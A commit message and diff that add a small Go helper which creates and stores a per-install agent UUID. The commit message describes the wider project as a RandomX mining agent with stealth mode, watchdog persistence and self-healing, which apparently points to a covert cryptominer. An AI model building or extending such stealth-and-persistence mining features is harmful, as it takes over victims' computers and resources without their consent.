Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.

agent/deploy/identity.go

@@ -0,0 +1,43 @@
+package deploy
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+
+	"github.com/google/uuid"
+)
+
+const agentIDFile = "agent.id"
+
+// EnsureAgentID creates a fresh agent ID during a new embed/install.
+func EnsureAgentID(installDir string) (string, error) {
+	if err := os.MkdirAll(installDir, 0755); err != nil {
+		return "", err
+	}
+	id := uuid.New().String()
+	if err := writeAgentID(installDir, id); err != nil {
+		return "", err
+	}
+	return id, nil
+}
+
+// LoadAgentID returns the persisted agent ID from the install directory.
+func LoadAgentID(installDir string) (string, error) {
+	path := filepath.Join(installDir, agentIDFile)
+	data, err := os.ReadFile(path)
+	if err != nil {
+		return "", err
+	}
+	id := strings.TrimSpace(string(data))
+	if id == "" {
+		return "", fmt.Errorf("agent id file is empty")
+	}
+	return id, nil
+}
+
+func writeAgentID(installDir, id string) error {
+	path := filepath.Join(installDir, agentIDFile)
+	return os.WriteFile(path, []byte(id+"\n"), 0600)
+}